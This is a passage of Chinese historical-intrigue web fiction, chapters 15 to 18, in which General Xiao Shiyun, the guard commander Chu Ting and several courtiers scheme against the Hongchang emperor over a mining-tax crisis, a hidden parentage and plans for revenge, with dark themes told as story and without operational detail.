他凑近周惟简,几乎肆无忌惮的讥诮与挑衅:“私窥禁中事。”
“楚指挥使究竟想干什么,自己心里清楚。”周惟简冷笑,“你是觉得我不敢去吗?”
“那就去吧。”楚指挥使抬手,“信王殿下,请。”
他看着小王爷精彩纷呈的脸色,想。这蠢货脖子上顶的到底是什么玩意。
周惟简是觉得他很好欺负吗?
两人相持良久,楚庭听到周惟简笑。
萧时运知道你为什么帮她做事吗?
小王爷注意到对面一瞬凛然的杀意,愉悦眯起眼:“看来你们也是各怀鬼胎呢。”
“那个女人可不是善茬。”他的视线扫过楚庭攥在刀柄,青筋分明的手,“我真好奇,她如果知道你的身世,还会信你吗?”
楚庭骤然拔刀。
“大人别担心。”他若无其事拨开脸前的刀尖,笑眯眯讲,“只要你帮我一个忙,我可以……嘶!”
周惟简强忍住卡在喉间的喊叫,捂着痛处转头,却一瞬间瞪大了眼睛:“萧时运?”
虽然两个人认识萧时运的时间不算长,但从她现在的表情看。
萧将军很不高兴。
“周惟简,你逾矩了。”
她轻轻按住楚庭的手腕,示意搭档收刀,周惟简和萧时运对视的瞬间,不由后退半步,右手握住腰侧的短匕。
“我是说过我不会妨碍你,但你也别来干涉我。”她看着他,全然风霜严酷的肃杀,“我对你要争的皇位没兴趣,但周秉文动了萧家人,这是他必须付出的代价。”
动了萧家人?
周惟简茫然分神想。刘谈才到西北,就算真做了什么,也不该这么快有消息传回京城吧。
“少拿你那点上不得台面的破心思揣测别人。”萧时运嗤笑一声,“说吧,你惹了什么麻烦,想让楚指挥使帮你善后。”
小王爷迟疑看她:“你怎么知道……”
“因为你是个蠢货。”她不耐烦白他一眼,“在我耐心耗尽前,你最好说实话。”
这个女人……周惟简抿唇沉默半晌,不甘心别开脸:“是崔放的弟弟,他在南平县失手杀了人。”
萧时运饶有兴趣挑眉:“你要救他?”
“不。”他看着他们,眼底狠戾狰狞,“我要崔家兄弟一起死。”
**
矿税和矿监这一段参考了明史和万历野获编。
15. 自种因
一起死?
萧时运和楚庭对视一眼,问:“你要杀崔放?”
沈平川不是还在救人吗?
甚至因此招了陆明臣厌恶。
他的好主子又在演哪一出。
信王迎着两人锋利的审视,厌恶讲:“崔放仗着沈家和崔家的婚约,一再纠缠沈翰林,实在碍事。”
萧时运心不在焉玩着手里一枚菱形物件:“那沈家退婚不就好了。”
宣朝也不是什么退婚就会名节丧尽千夫所指的时代,且崔家能干出当街抢人甚至杀人的事情,足见家风败坏,沈小姐退亲,也是人之常情。
周惟简犹豫看了眼萧时运,小声讲。沈怀月和崔故,已有夫妻之实。
萧将军听着他的话,想起珠翠楼一面之缘的柔弱影子,似乎为那份惊弓之鸟般的忧惧找到了答案。
小王爷低眼看向墙边衰草,阴影没在眼底,遮去此刻的情绪。
“崔家把沈怀月骗去府上,平川知道的时候已经晚了。”
那一瞬间,萧时运看到楚庭头顶的红字闪了闪,不知所起但刺眼的愤恨。她虚虚按了一下楚庭的手臂,正要追问,听见信王讲。
“两家婚期定在下月,我想在他们成亲之前把事情了结。”
她听罢盯着周惟简看了一会儿,忍不住皱眉:“信王殿下不会是想楚大人捏个罪名,悄无声息把人弄死在诏狱吧?”
周惟简迟疑问:“不行吗?”
萧时运:……
这么理直气壮吗,兄弟。
幸亏皇位不在周惟简手里,不然真挺完蛋的。
算了,周秉文在这方面也没好到哪去。
否则缇骑司对外怎么能留下这种鬼形象呢。
“殿下让我们抓崔放,总要有个理由吧?”她拦住身边想开口的搭档,“不然皇上那边也说不过去。”
理由……信王脸上闪过须臾的犹疑,斟酌道:“崔家的确私德有亏,但除开崔故的案子,崔家其他人暂时没有越轨之举。”
“而且沈小姐……”他声音小了一点,“不愿把事情闹大。”
楚庭下意识看了眼萧时运,却见她索然无味垂眸,语气漠然:“殿下先想清楚,究竟要不要收拾崔家吧。”
周惟简也没料到萧将军如此冷情。他张了张口,似乎还想再说什么,萧时运却拽过自己的搭档:“走了。”
她带他穿过小路,出了百官歇息的辅成园,林稍遮去月辉,余下一片树影幢幢的幽寂。她略打量了一下四周,确定周惟简没跟上来,才问:“楚大人不会信了他的鬼话吧?”
从今夜的对话看,沈平川确实有不得不保崔家的隐衷。
但萧时运总觉得,信王的举动不太对劲。
崔家说破天,也不过南平一个中等士绅之家。周惟简再不济也是亲王,若真想收拾崔放这位六品芝麻京官,实在不必劳烦楚大人。
一则他和楚庭素无交集,楚指挥使未必肯帮他,二来缇骑司地位敏感,万一楚庭把事捅到御前,以周秉文的疑心,信王怕是会落个结交近侍的罪名。
小王爷冒这么大风险,让楚指挥使帮他收拾崔放,只是因为厌恶崔家算计沈小姐、纠缠沈平川?
可他说起这件事时情绪毫无波动,甚至比不上楚庭这个旁观者。
怎么看都很可疑啊。
楚庭避开她的视线,语气少有的,显出局促的仓皇。
“你听到了多少。”
萧时运笑:“楚大人希望我听到多少?”
楚指挥使依然不答她的话,反问:“你为什么会跟出来?”
萧将军随手把方才玩的物件丢给楚庭,语气散漫:“楚大人的好下属蹲树上拿着暗器准备砸人,很难不让人好奇啊。”
她如果没拦下来,信王这会儿估计睡得挺安详的。
“秦缇骑这份忠心挺好的。”萧时运摊手,“要是能换成智商就更好了。”
楚庭:……
她看着楚指挥使的脸色,若无其事笑了笑:“楚大人就没有别的话想对我说吗?”
楚指挥使沉默半晌,别开脸:“争皇位是你的事。”
“我只想杀周秉文。”
萧时运盯着他看了一会儿,忽然抬手掐了楚庭的下巴,强迫他和她对视,唇边笑意不改:“我似乎刚对周惟简说过类似的话。”
楚庭僵了半晌,才甩开她的手,强撑道:“难道你还能找到更好的帮手吗?”
“我不过随便问问。”她笑盈盈接下他虚张声势的凶狠,无奈叹了口气,“楚大人不愿说就算了。”
信王估计挺乐意告诉她的。
楚庭显然也意识到了这点,见萧时运转身要走,下意识拽住了搭档的袖子。
她注意到搭档头顶闪烁的红字,语气缓了些:“我是愿意信楚大人的。”
萧时运帮他正了正冠帽,又讲。也希望楚大人能坦诚。
“我……”楚指挥使犹豫了一下,小声说,“我娘是明月楼的琵琶女。”
萧时运于是耐心等他接下来的话。
楚庭生母姓柳,虽未生在家财万贯的富户,却也是父母疼爱,亲邻和善。柳娘子天真无忧长到十七岁,嫁给了青梅竹马自幼相识的邻家哥哥。两人在城南经营一间小铺面,忙忙碌碌困在琐碎平淡的生活里,如千万百姓一般,为柴米油盐发愁。不过夫妻二人相互扶持,日子也算平安喜乐。
遇见楚寻义那年,小店生意流年不利,周转艰难,柳娘子为维持家计,去了明月楼弹琵琶。明月楼的老板欣赏她的技艺,又添了些钱,让她指点楼中姑娘学艺,也从不克扣赏银。
靠着这一点点攒起来的辛苦钱,兼之费心经营,柳氏夫妻渐渐咬牙度过了难关。
原本柳娘子与老板商量好,下月新琵琶女出师,她便不来了。
不想却在当日遇见楚寻义。
楚寻义对柳娘子颇有兴趣,便与老板多问了几句,得知她已嫁人,不由连道可惜。又问,能不能请那姑娘再弹一曲。
楚公子赏银给的丰厚,她们自然也不会拒绝。
可不等这意外之财的欣喜平复,当夜有另一笔银钱送给柳娘子的夫君,让他休妻再娶。话里话外暗示,只要照做,日后还有厚礼相赠。
夫妻二人当机立断,把人打了出去。
柳氏不愿另攀高枝,她的
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丈夫也不愿卖妻求荣。
两人原想让柳娘子回娘家暂避,谁知第二日包裹还没收拾好,便有一伙人闯进铺子,说柳娘子的夫君偷盗,要捉他见官。
柳娘子的夫君进了大牢,她自己则被带去了楚寻义的宅子。
很久之后她才知道,那日听她弹琵琶的,是三皇子和他的侍读。
一个皇子,哪怕在宫里不得脸,天家权势沉甸甸落在寻常百姓头上,却也是不容反抗的山。
楚寻义很喜欢柳氏无能为力的抗拒,为了长久享受这份恐惧,他用柳娘子的家人威胁,不许她寻死。
有天周秉文和楚寻义又在明月楼听琴,顺口问了楚公子一句,柳氏到底有什么趣味,让他愿意天天贴美人的冷脸。
楚寻义于是笑。殿下要不试试?
三皇子觉得有趣,便没有拒绝。
彼时他们富贵显荣,衣食无忧,却又离权力太远,丹墀台高高在上,遥不可及,少不经事的野心与欲望却膨胀似腐丨尸,狂妄卑鄙,填满日复一日的空虚。
能挥刀向更弱者,把玩一霎的战栗,自然也如琼浆仙露,妙不可言。
两月后柳娘子有了身孕,周秉文没兴趣也不可能认这种说不清的事,便留给楚寻义养了。
柳氏生产当日血崩而亡,楚寻义的夫人是个良善人,她没有自己的孩子,对楚庭视若己出。
只是楚夫人身子不好,在楚庭八岁那年病逝了。
她临死前把这件事告诉了楚庭。
她知道的。
她知道她的枕边人和三皇子沆瀣一气。柳娘子并不是唯一的受害者。
她不敢反抗他们,但她希望楚庭能报仇。
所以十五岁那年,楚庭杀了楚寻义。
楚寻义这些年一直有心悸的病症,是以验看的太医皆以为他是劳倦内伤,胸痹而亡,没有人往下毒的方向想。
楚指挥使看着仇人的尸体,的确高兴了几天。
之后却是空洞的迷茫。
楚寻义死了,然后呢?
恶鬼高据金銮台,可他又凭什么,去撼动那个不容违逆的天意。
直到他遇见萧时运。
他的确在她身上,看到另一种可能。
他便也被这份义无反顾的决绝吸引,虽死无悔。
“我不可能去跟你,或者周惟简争什么。”楚庭勉强扯了下嘴角,“这样的身世,我自己都觉得恶心。”
他会怜悯每一个被周秉文强迫的女人。
这让他想起素未谋面的母亲。
本该无忧顺遂,本该平安喜乐。
长风行过旷野,留下万壑林涛的遗恨。萧时运安静听他说完,想。常言物以类聚,果然畜生的好兄弟,也是畜生。
萧将军见惯了尸山血海的永别,撕心裂肺的哀恸看过太多,心也就磨得足够冷硬,足够无情。战场生死无常,眼泪比不上刀剑洞穿仇敌时生死一隙的快意,她也自认并不擅长安慰或同情,是以萧时运静默一霎,抬手抱住了自己的搭档。
“会报仇的。”
她擦掉楚庭脸侧的泪。讲。会报仇的。
这是她能给他的,承诺。
16. 讪谤
圣躬违和的消息传出后,除开陆相和几位要臣,再无旁人进过紫渊阁。百官见庆州的折子留中不发,丞相大人和六部部堂脸上皆是愁抑,再思及矿税之祸,也不由添出许多阴云沉密的郁结。
这样坐日愁城的苦闷在朝堂上压了几日,终于在一个电闪雷鸣的清晨,御史吴应卿冒雨觐见,不顾内侍监劝阻,跪在阶前,直陈矿税害民之惨刻,斥税监蒙蔽圣听,仗势肥饱私囊,致百姓涂炭,民怨横生。
紫渊阁外疾风骤雨,电闪云奔击破九天,吴御史的慷慨激昂,也似惊雷穿云裂石撕开长夜,誓为黎庶争一隙喘歇。
如此忠肝义胆,弘昌帝自然不会辜负,当场便有了旨意。
杖毙。
吴应卿惨死上林苑,朝野震惊。御史台三位同科上书申辩,内侍监呈笔王忠趁机进言,吴应卿等人看似为民请命,是则借刁民滋事歪曲矿税常例,意在动摇国本,其心可诛。
弘昌帝朱笔停顿一霎,楚庭感受到边缘锋锐的狐疑划过在场每一个人,千钧万钧的威慑与暴戾。辩驳的话压在舌根,在楚指挥使的良知与理智交战出结果前,御坐上那人漠然开口,令鸾仪卫将三人下狱,严审其居心,若有同党,即刻拿办。
另有两位要求严惩矿监的官员流徙化州。
消息一出,百官既愤矿监跋扈、忧民变在即,又惧言语失当触怒帝心,反罹其祸,一时皆不敢妄动。
是以紫渊阁很安静。
但上林苑很不安生。
上林苑在闹鬼。
吴应卿丧命第二日,百川殿的丹墀上又吊了一只死鹰。箭矢贯穿颅中,血迹狼藉,难免让一些亲历者想起十四年前道永帝似曾相识的死状。
紫渊阁的夜半惊魂尚可遮掩,如今众目睽睽,消息禀至御侧的同时,影影绰绰的流言也到了前朝。
弘昌帝惊怒之下处置了守夜的宫人,并把陈谷和楚庭骂了一顿,勒令缇骑司三日内揪出幕后主使。
然而不等楚指挥使查出眉目,当夜有巡值侍卫在道永三十七年先帝遇刺的猎场附近,听到撕心裂肺的惨叫。
然而侍卫们循声过去,却只见一支沾血的毒箭。
上林苑传言四起,有人声称弘昌初年时,上林苑夜半时有阴兵借道,冤鬼夜哭。如今种种异象,是旧鬼回魂,要为祸人间。
窥私总是人最原始本能的冲动,更何况十四年前皇室辛秘旧事重现,不少亲历者仍在。是以纵有内廷的禁令,各路提心吊胆而亢奋的非议,愈发指向先帝殡天时的秘闻。
烦心事且不止于此。
吴御史的家门前多了两道长长的血迹。
左邻右舍回忆,四更时,仿佛听到过吴宅门前有叩门声。
吴应卿独居三载,家中不过老仆一人,在其出事后已遣回原籍。此刻破旧的院门半敞,迎着窄巷里干涸的锈褐,震悚之余,难免多几分凄凉。
京中流言四起,周秉文却也顾不上追究缇骑司限期破案的事了,他在吴应卿死后第三日晌午移驾回宫,数日未露面的君上终于现身人前,百官才知他伤了左臂。
偏偏是这样巧合的时间。
众人虽不敢问,心底却各有猜测。
弘昌帝对此似乎也心有郁怒,回长安宫后,殿内自道永三十七年以来,第一次传出瓷器碎裂的声音。
君上一向自矜身份,登基十四载,素来不露辞色,遑论如此大动肝火的失态。
是以随侍的太监各个战战兢兢,生怕一时不慎,下一个四分五裂的,就变成自己的脑袋。
而比起周秉文的气急败坏,萧时运现在实在心情愉悦。
青枝回来了。
云骑都尉府中,刚从上林苑回家的小桃抱着同伴,绘声绘色讲完京城的流言,惋惜道:“我那几天吓得不敢睡觉,小姐还总不在,要是有你陪着我就好了。”
青枝拍了拍小丫头的背权作安抚,神色复杂瞥萧时运一眼。想,你要不要猜猜小姐为什么不在。
前几日的忧虑薄云一样散去,小桃抬起头,眼睛里满是亮晶晶的雀跃:“之前上街,我和小姐给你带了些小玩意。”
她把头上的簪子在青枝眼前晃了晃:“小姐挑的簪子可好看了!你快去试试!”
青枝见小桃正在兴头上,又夸了她两句,忍不住叹了口气,说:“你先出去吧,我和小姐有些事要说。”
小丫头乖巧点点头,正要离开,听见自家小姐讲。不必。
萧时运喝了口茶,平静看着青枝:“她总要知道自己在做什么。”
小桃是她们从死人堆里救下的孩子。萧时运把她堆满尸丨体的沟里抱出来的时候,小丫头瘦的和个猫崽仔一样,愣愣盯着两个人呆了半晌,才想起来哭。
虏人偷袭甘州边城,屠了整个村子,无数村邻用自己的性命做遮掩,护下了唯一的幸存者。如果萧将军再晚那么一会儿,或许连这也留不住。
彼时青枝心软,见小丫头可怜,和萧时运商量,将她留在了身边。这姑娘倒也听话,无论缙州还是京城,只一心陪着自家小姐,对于萧时运的吩咐也从未有过犹疑。
经历过前世的绝境,萧将军自然不会怀疑青枝和小桃的忠心,但重生这种事若非亲身经历,她实在很难和两个姑娘解释,自己到底为何决意造反。如今青枝亲眼见过内廷在北关的龌龊,有此做铺垫,也是该让她们知道眼下的处境了。
是以她平静问自己的同伴:“刘谈动手了,对吗?”
青枝犹豫看了看满脸好奇的小桃,点头道:“如小姐所料,他们想在巡营途中动手脚,害大少爷堕马。”
“什么!”小桃难以置信瞪大了眼睛,“他为什么要害大少爷!”
而且这名字好生耳熟,之前小姐说的宫里派去的监军,是不是就叫刘谈来着。
宫里……
“嗯,就是你想的那样。”萧时运平静道,“是皇帝的意思。”
“我进宫那天,周秉文曾想对我下手,不过没成功。”
“如今算计萧时遇,也不过是个开始。”
她看着小桃,轻描淡写坐实她心底的隐忧。
“皇上要杀的,是整个镇西侯府。”
小丫头脸顿时变得惨白。
皇上为什
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么要害侯府?她们不是才立了军功吗?
而且听小姐的话……她早知道会发生这种事?
“我们该怎么办……”
要是其他人敢伤害小姐,她肯定冲上去狠狠揍他一顿,可,可那是皇帝啊,她在猎场见过内廷的仪仗,连绵逶迤,光照在华盖上,满饰的金黄,晃得她连眼睛都睁不开。
莫说皇帝,就是那些近侍想杀她,只怕不比碾死一只蚂蚁困难多少。
“我教过你,无论对手是谁,都不能坐以待毙。”
萧将军瞥了眼小桃头顶疯狂上跳的两个数字,轻轻摸了摸她的头。
“再说了,还有我们呢。你的青枝姐姐才救下萧时遇,至少,先替她高兴一会吧。”
小桃攥着袖子静了片刻,怯生生抬眼问。小姐已经有主意了吗?
“当然。”萧时遇笑了一声,转头看向青枝,“我猜,父亲和兄长,应该能给我一个满意的答复?”
青枝略微颔首:“老爷说,镇西侯府会全力支持小姐。”
小桃看着两人的表情怔愣半晌,忽然反应过来:“难道小姐要——”
“嘘。”萧时运轻轻抵住小丫头的唇,“知道就好,这种事,可不能挂在嘴上说。”
小桃用力点点头:“嗯!小姐放心!我绝对不会给小姐添乱!”
无论她们做什么,她都会陪着她们。
这是她仅有的家人了。
萧时运闻言笑了笑,没说什么,青枝无奈揉了揉额角:“倒也不必这么激动。”
她还想再叮嘱小丫头两句,却听见自家小姐问:“关中道的灾情怎么样了?”
“不太好。”青枝抿唇顿了顿,小声讲,“与山南相邻的两州已有百姓因洪水无家可归,化州的雨也一直未停,关北几州土质松散,再这样下去,只怕会有石洪。”
和前世一样啊。萧时运压下心底的叹息:“把我的话告诉父亲了吗?”
她虽不知前世灾情发展的确切情况,但还是根据记忆,标注了几个受灾严重的州县,希望他们能早做防范。
“老爷已经着手安排百姓疏散了,还给关中道署去了信,但道台大人似乎……”青枝犹豫了一下,“不以为然。”
“知道了。”萧时运看着身边人脸上的悲悯,轻轻扶了一下她的肩,“没什么好自责的,我们救不了所有人。”
况且她又不是不知道关中道台什么德行。
有些人尸位素餐这么久,也是该退位让贤了。
青枝静了片刻,别开话题:“筠姑娘也来了,她在偃城多留了两日,估计明天到京城。”
筠筠来了?萧时运听见熟人的名字,顿时眼前一亮:“太好了,我正愁找不到人帮忙呢。”
苏筠,全北关最贴心的谋士,你杀人我递刀的好姐妹,以其杀伐果决胆大心细,深得萧将军喜爱。
她在京城,总算有个贴心的自己人了。
而青枝看着自家小姐眼里兴奋的光芒,总觉得,似乎不太妙呢。
筠姑娘和萧将军凑在一起……
自求多福吧。弘昌帝。
17. 执棋
萧时运有时候真的很想揍陆明臣。
比如现在。
到底有什么急事,让陆公子在丫鬟传了三遍话拒绝,又在书房等了将近一个时辰的情况下,依然坚持要见她。
她真的好困啊。
昨日傍晚,萧将军的好谋士赶在城门关闭前到了京城。苏筠原是流放缙州的罪臣女,博览群籍,善词画。萧时运难得在边关抓到个文墨不错还看着顺眼的读书人,留她在身边做了书吏。漠北平定后,她给筠姑娘做了个新身份,放她离开了关中。八月时她收了苏筠一封信,得知她又回了缙州。那时候苏筠只说自己已见过青枝,却没提要来京城。
两人数月未见,昨夜不小心聊太久,直到四更末才睡。萧将军原以为今日能躲懒多睡一会儿,没想到老天真是一点都没放过她。
萧时运推开门,强按下心底的暴躁,闷闷瞪他一眼:“要不要我提醒你,婶母在边关这些年甚少回京探亲,就是为了避嫌。”
难道大夫人不想见自己娘家人吗。
又或者丞相夫人不愿和自己的表姐妹多寄几封书信叙旧?
还不是陆相和镇西侯担心边军和相府来往过密,平白招周秉文的猜忌。
虽然从前世的结果看,这谨慎似乎没什么用。
只要皇上动了兔死狗烹的念头,不管如履薄冰还是居功自傲,都一样完蛋。
但这也不是陆公子大早上堵在门口的理由啊。
如果不是把陆明臣晾在街上容易惹眼,她压根不想让青枝带他进来。
算了,陆公子至少还知道悄悄来敲后巷的小门,她权当他还有点脑子。
陆明臣见萧时运进来,低眉与她见礼,迎着对面毫不掩饰的嫌弃,平静开口:“在下有一事相求。”
“真稀奇,陆相群臣之首,陆公子竟然会有事求我这个闲散勋戚。”
“将军说笑了,如今朝中……”
“我没耐心听官场上那些拐弯抹角的废话。”萧时运面无表情打断他,“你到底想干什么。”
眼前人敛眸静了半刻,轻声讲:“因吴应卿下狱的三位御史,请楚指挥使手下留情。”
“那你该去求楚大人啊。”她轻飘飘笑了一声,“莫非陆公子久不在京,忘了楚宅的方位,才寻到我这里来?”
萧时运侧头对外间道:“青枝,送陆公子去楚宅。”
“公子当心些吧。”她端茶与陆明臣笑,“下次再寻错地方,可未必有好心人给你指路。”
秋时百景萧瑟,落进室内的日光也似蒙了层凉意。陆明臣注视着萧时运眼里几近刻薄的轻佻,语气不由冷了几分:“王忠为保庆州矿监,在御前颠倒黑白,以致忠臣枉死。将军对此,难道就没有半分恻隐吗?”
“恻隐。”萧时运兴致缺缺喝了口茶,“最近几天,那几个官员的家眷,偷偷往诏狱送了不少东西吧?”
“王忠还盯着缇骑司呢。陆公子觉得,没有楚庭帮忙,这些东西能到他们手上?”
“内侍监二当家煽风点火,皇帝朱笔御批,说他们诽谤朝廷。”她看着他,白而亮的光映在眼底,照见无动于衷的漠然,“陆公子一句恻隐说得轻巧,真正担风险的,却是楚大人。”
院中雀鸟振翅离枝,窗纸一晃掠过树影飘摇的斑驳。陆明臣和那份置身事外的平静僵持良久,最终放弃了未出口的谋算,敛眸起身:“将军既专于谋身,便当我今日没有来过。”
“不过两位所谋远非一矿一城,若逐权名而心不在民,只怕也终难遂愿。”
萧时运听着他话里嶙峋的尖刺,索然无味合眼,慢慢叹了口气。
“陆明臣,知道我最讨厌你什么吗?”
在对面反应过来之前,萧时运抓住他的胳膊,反手把人摔在椅子上。
坚硬的闷痛撞在后背,陆明臣懵了半晌,惊怒抬头:“你干什么!”
“你该庆幸。”萧时运将人锢在圈椅,居高临下和陆公子的愠恼对视,掐在他胳膊的手下了狠劲,“要不是上林苑合作还算愉快,我早揍你了。”
“周秉文打定主意杀鸡儆猴,那三个人能在王忠眼皮子底下活到现在,楚指挥使功不可没。”
“你明知道楚庭暗中照顾罪员,却还是来找我,无非想拉我们一起对付王忠,平息祸事。”
她略微凑近了些,冷而锐的审视割过陆明臣的身体,语气讥诮。
“我的确很乐意帮自己人。”
“可庆州的乱局,不正是陆公子想要的吗?”
陆明臣瞳孔骤然紧缩:“你……”
“陆公子在荆湖数月,和庆州知府袖手旁观甚至纵容矿监鱼肉乡里,为的不就是逼出一场民变,藉此废止矿税。”她顿了一下,又笑,“当然,若废止不了矿税,能借着这件事收拾掉荆湖矿监和道台,给京城里某些人一个警告,也不算浪费。”
“我真是好奇。吴应卿跳出来的时候,陆公子会不会生气,他坏了你的好事呢?”
“够了!”陆明臣用力推开萧时运,却在她的嗤笑里狼狈别开脸,“吴御史为民请命,是尽为臣的本分,我没有什么好怨的。”
萧时运漫不经心理了理衣袖:“可他是陆相的学生。”
下狱的那三个也是。
“原本陆公子只要等矿民砸了县署,最好一并杀了那个为虎作伥的县令,事情闹到这个地步,内廷再不情愿,总得交个矿监出来赔罪。庆州矿监既死,和他关系密切的荆湖道台也难逃其咎。”她讲到这里,忍不住笑了一声,“陆公子这把火盘算的真妙啊,既杀了内廷的狗,还能给政敌一个教训。”
荆湖道台是吏部尚书陈辅元的同科,交情匪浅。
尚书大人朋党比周,平日可没少找陆相的麻烦。
毕竟以周秉文的性子,要是由着丞相大人在前朝一呼百应,他实在不放心。
“结果吴应卿的直谏犯了忌讳,让王忠抓住机会,给矿祸扣了个诽谤朝堂的罪责。”
萧时运看着陆明臣,眼底讽刺近乎残酷。
“把庆州当棋局,添柴的时候视人命如草芥,眼看局面失控引火烧身,就扯着忧国忧民的旗帜,要别人给你善后。”
“逐权名而心不
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在民,陆明臣,你讲这话的时候,自己不觉得心虚吗?”
吵她睡觉不说,还顶着这份冠冕堂皇的伪善大言不惭,姓陆的再敢废话,相府公子的身份也救不了他。
陆明臣艰难和眼前人对峙半刻,终究低下头,杯中水光一霎刺进眼底,搅碎满心狼藉的不甘与屈辱:“这些事……是楚庭查出来的?”
萧时运注意到他头顶飘忽的黑字,思忖片刻,冷笑:“怎么,陆公子现在知道怕了?”
庆州陵源县知县给矿监当狗,抓了十余百姓勒索钱财,并对矿上劳工百般盘剥,原本矿场便肆意捉人役使,拖欠工钱。好不容易哀求到手的一点血汗,还要被监吏抽去六成。去年秋末,众人去州府告过一次,庆州知府不痛不痒抓走了几个小吏,陵源百姓原以为矿监会稍作收敛,不料告官的矿民才回乡,便被陵源知县捏了个罪名,活活打死在衙署。
陆明臣那个时候就在庆州吧。
煽风点火的时候不在乎,这会儿担心被翻旧账了?
她故意晾了他一会儿,直到陆明臣头顶的黑字又往上跳了一点,勉强停在一个不太有良心的两位数,才放开他,懒散坐回圈椅:“我们做个交易吧。”
“我帮你平息庆州的乱局,你帮我弹劾关中道台救灾不利。”
“救灾?”陆明臣回过神,“关中出事了?”
“关中道多地连日暴雨引发山洪,山南应该也是类似的情况。”萧时运顿了一下,“刘谈这几天应该会把两地受灾的消息带回京城。”
陆明臣盯着萧时运看了半晌,薄刃一样的寒意掠过心口,语气不由多出几分戒备:“你究竟为什么会知道皇帝要在八月派监军巡边。”
是楚庭?
可内侍省和鸾仪卫龃龉颇多,没道理会漏风声给楚大人。
萧将军能对庆州的事情洞若观火,难道……
“陆公子放心,我和内侍监没关系。”她笑盈盈看着陆明臣,全然坦荡无辜的平直,“关中道参议许慎修许大人是个忧国奉公的好官。还请陆相提携一二,莫让明珠暗投。”
事情闹到这个地步,陆明臣再没有拒绝的余地。是以他静了片刻,低眼讲:“我会转告父亲。”
萧时运懒洋洋支着下巴,一时没有再说话。陆明臣以为两人言尽于此,起身打算离开,忽然听见她问:“陆公子看着那些矿民死的时候,会有恻隐吗?”
他在原地愣了半晌,自嘲一般笑了笑。
“论迹不论心,我没有什么可狡辩的。”
“去山南吧。“萧时运打了个哈欠,语气里的揶揄不由坠上几分倦怠,“权当安慰一下公子心里聊胜于无的愧疚。”
她确实需要这场天灾,但利用之余,她也不至见死不救。
前世山南道的灾情远比关中严重,偏偏周秉文属意的宋钦差是个既蠢且坏的烂人。秋后算账换不回枉死于人祸的饥民,有陆明臣在,宋大人总归得给丞相公子几分薄面,分百姓一口粥喝。
而后萧将军嫌弃瞥他一眼,自顾自出了书房。
“下次不许再来这么早了。”
18. 试探
萧时运是很想去睡觉的。
可惜睡不得。
她懒洋洋倚在回廊转角,看青枝引陆明臣出去,与假山后的同伴笑:“楚大人久等。”
盛秋薄凉的日光照在两人身上,萧时运迎着天边圆澄澄的朝阳抬起手,耐心等了半刻,才仿佛触到一点聊胜于无的余温。
今年的秋天似乎格外冷。
“我打算让青枝去南平看庄子,楚大人有什么要交代她的吗?”
楚庭抿唇盯着萧时运看了一会儿,没答她的话,却问:“你为什么离陆明臣那么近。”
听起来挺不高兴的。
萧时运闻言转过头,声音拖出一点没精打采的困倦:“因为我想揍他。”
“而且……“她忽然凑过来,径直把头压在搭档肩上,“我现在离你不是也很近吗。”
这样总可以了吧。
楚庭一瞬愣在原地,廊下几株桂花的香气飘过来,萧将军身上却另有一点道不明的青桂香*,仿佛比寻常的格外添出些矿而烈的张扬。这香气勾着楚指挥使的神经,紧张得他手都不知道该往哪里放,呆立半晌,才僵硬别开脸,避过蹭在脸侧的发丝:“你……你干什么!”
“困啊。”萧时运顺手捏了捏他的脸,“一天天的,也不知道在醋什么。”
莫名其妙。
指尖的温热贴在皮肤,烫开烧灼一样的薄红。楚庭深吸了口气,却也没推开萧时运,只讲。别闹了。
“最近缇骑司事多,没顾上崔家的案子。让你的人注意点,别在这种时候惹眼。”他顿了顿,问,“你昨天带回来的人是谁?”
萧时运放开他,看了眼楚大人的表情,笑:“秦错和你告状了?”
何止是告状。若非看在萧将军的面子,那人估计见不到今天的太阳。
楚庭闷闷横她一眼:“他说你昨晚带了个男人回家,那人还无缘无故给了他一箭。”
“也不算无缘无故吧。”萧时运心不在焉倚着栏杆,“筠筠只是警惕心比较强。”
昨日两人回府,苏筠不知道秦错的来历,只见树上藏了个人,当即给了对面一弩箭。
如果不是秦缇骑躲得快,估计得被筠姑娘废只眼睛。
萧时运简单和楚庭解释了一下苏筠的来历,戏谑道:“也怪秦大人运气好,筠筠习武实在没什么天赋,偏偏弦无虚发,不比楚大人差呢。”
受山南关中两道水灾影响,逐渐有百姓往周边逃荒,官道沿途也不大太平,苏筠为了避免麻烦,和青枝几人一样,赶路时皆作男装打扮,倒被秦缇骑误会了。
“筠筠五月时到了荆湖,听说陵源因为矿税的事不太安生,便去了当地打探情况,结果被庆州知府盯上,不得已才回了北关。”
然后得知萧时运在京城。
楚庭皮笑肉不笑扯了下嘴角:“多管闲事把自己搭进去,你这个幕僚好像也不怎么聪明。”
萧时运闻言敲了一下这小子的头:“她是为了救人。”
苏筠帮一对得罪了矿监的姐弟逃出陵源,往祥城投亲。因之前矿民申冤反遭报复,她对庆州官府心有疑虑,便叮嘱两人暂且不要妄动。
未料弟弟咽不下这口气,不顾姐姐劝阻,在祥城官府前击鼓鸣冤。
祥城为庆州辖下散州,当地知州得了庆州知府的指示,潦草结案,那对姐弟连同收留他们的亲戚一家,皆被矿监灭口烧死。
知府大人也因此注意到,陵源似乎有个碍事的书生。
苏筠如果反应再慢一点,能不能活着离开庆州都难说。
萧时运强压下这个可能性带来的怨气,说:“况且北关总归承了他们的情,也不算多管闲事。”
十一年时周秉文遣矿监往荆湖开新矿,找的理由就是增榷税供给北境军需。
虽然最后这银子大多进了内帑,但平定漠北时,荆湖到底是为粮饷出了份力。
楚庭有些意外问:“你打算帮庆州?”
“筠筠觉得眼下是个好机会。不止能除去荆湖的矿监,或许可以一并废除矿税。但需要楚大人和丽妃帮忙。”萧时运敛眸,语气带了点莫可名状的喟然,“我只是帮她带个话,至于究竟要做到哪一步,楚大人自己决定。”
楚指挥使笑了一声:“你这么说,不担心苏筠生气?”
“这是她的执念。”萧时运语气听不出什么情绪,“但也的确是节外生枝的冒险。”
苏父在地方为官时,因得罪矿监下狱瘐死,家人充役缙州。苏筠的母亲死在偃城,幸而萧时运在当地巡营,一时兴起,帮筠姑娘捡回一条命。
“不过筠筠很讲理的。”她笑,“楚指挥使若真要劝,她会听的。”
楚庭未置可否,只问。苏筠还在府上?
“天亮前回东巷了。”萧时运叹了口气,“府上有周秉文的眼线,筠筠不想被他们看见。”
正在缇骑司休息的秦错:我感觉你好像在阴阳我。
显然萧将军也意识到这话似乎有误伤,她看了眼楚庭的表情,颇有耐心地多解释了一句:“除了被小桃打发去堆房的那个丫鬟,另有两个外院的打扫杂役,一个给厨房送货的帮工,和一个做针线的丫鬟。”
